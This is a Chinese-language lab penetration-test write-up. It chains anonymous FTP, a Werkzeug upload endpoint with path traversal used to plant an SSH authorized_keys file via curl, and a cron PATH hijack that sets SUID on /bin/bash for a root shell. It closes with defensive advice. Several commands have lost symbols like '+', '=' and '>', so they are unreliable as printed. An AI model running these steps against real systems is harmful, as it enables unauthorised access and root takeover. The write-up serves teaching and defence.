从FTP匿名登录到SSH密钥劫持一次完整的渗透测试攻击链深度解析在渗透测试的世界里真正的挑战往往不在于单个漏洞的利用而在于如何将看似孤立的弱点串联成一条完整的攻击路径。本文将还原一次典型的靶场渗透实战展示从初始信息收集到最终权限提升的全过程重点剖析攻击者的思考逻辑与决策过程。1. 信息收集与目标测绘任何成功的渗透测试都始于全面而细致的信息收集。在这个阶段我们使用Nmap对目标系统进行了两次扫描# 快速端口扫描 sudo nmap --min-rate 10000 -p- 192.168.244.249 # 详细服务探测 sudo nmap -sT -sV -O -sC -p21,22,111,139,443,445,2049,10000,25022,33414,40080 192.168.244.249扫描结果揭示了四个关键开放端口端口服务版本信息关键发现21/tcpFTPvsftpd 3.0.3允许匿名登录25022SSHOpenSSH 8.6非标准端口33414Werkzeug调试接口Python/3.9.13可能存在开发接口40080HTTPApache/2.4.53 (Fedora)基础网页服务关键决策点面对多个潜在入口我们优先选择FTP匿名登录进行初步探索因为这种低权限访问通常能提供有价值的信息。2. 初始访问FTP匿名登录的意外收获通过FTP匿名登录我们很快确认了服务配置ftp 192.168.244.249 Name: anonymous虽然无法直接获取敏感文件但这一步骤确认了目标系统存在配置不当问题。更重要的是它验证了我们的第一个假设系统管理员可能在其他服务上也存在类似的安全疏忽。注意现代系统中FTP匿名登录已不多见一旦发现往往意味着整体安全配置存在问题3. Web应用分析Werkzeug调试接口的突破33414端口的Werkzeug接口引起了我们的注意。通过目录扫描发现了几个关键端点/file-list?dir/tmp # 文件列表查看 /file-upload # 文件上传功能经过测试文件上传功能存在严重缺陷允许上传特定扩展名文件txt, pdf, png等未正确过滤路径穿越攻击../上传目录可预测/tmp利用这些缺陷我们成功实现了任意文件写入# 生成SSH密钥对 ssh-keygen -t rsa -f attack_key # 上传公钥到目标用户.ssh目录 curl -X POST -F fileattack_key.pub -F filename/home/alfredo/.ssh/authorized_keys http://192.168.244.249:33414/file-upload攻击逻辑演进从简单的文件上传到SSH密钥注入关键在于发现Werkzeug接口未对文件路径进行严格校验这使我们能够覆盖关键认证文件。4. 权限提升从普通用户到root通过SSH密钥成功登录alfredo账户后我们开始系统内部侦查# 查找SUID特权程序 find / -perm -us -type f 2/dev/null # 检查定时任务 cat /etc/crontab发现关键线索系统每分钟以root身份执行备份脚本*/1 * * * * root /usr/local/bin/backup-flask.sh分析备份脚本内容#!/bin/sh export PATH/home/alfredo/restapi:$PATH cd /home/alfredo/restapi tar czf /tmp/flask.tar.gz *利用PATH环境变量注入漏洞我们创建恶意tar程序# 在可写目录创建伪装的tar echo chmod s /bin/bash /home/alfredo/restapi/tar chmod x /home/alfredo/restapi/tar # 等待定时任务执行 bash -p # 获取root shell提权要点通过控制PATH环境变量我们劫持了tar命令的执行路径使系统执行我们的恶意代码而非真正的tar程序。5. 攻击链复盘与防御建议完整的攻击路径可以总结为FTP匿名登录 → 确认系统配置不当Werkzeug调试接口 → 文件上传漏洞SSH密钥注入 → 获取用户权限Cron任务漏洞 → PATH劫持提权针对这类攻击的防御措施包括服务加固禁用不必要的匿名登录限制调试接口的访问权限对文件上传实施严格的路径校验权限控制避免在定时任务中使用相对路径限制SUID/SGID程序数量实施最小权限原则监控措施监控敏感目录的文件变更记录特权命令的执行设置SSH登录告警在实际渗透测试中这种由多个中低危漏洞串联形成完整攻击链的情况非常常见。安全团队应当定期进行红队演练模拟攻击者的思维方式才能发现这类纵深防御体系中的薄弱环节。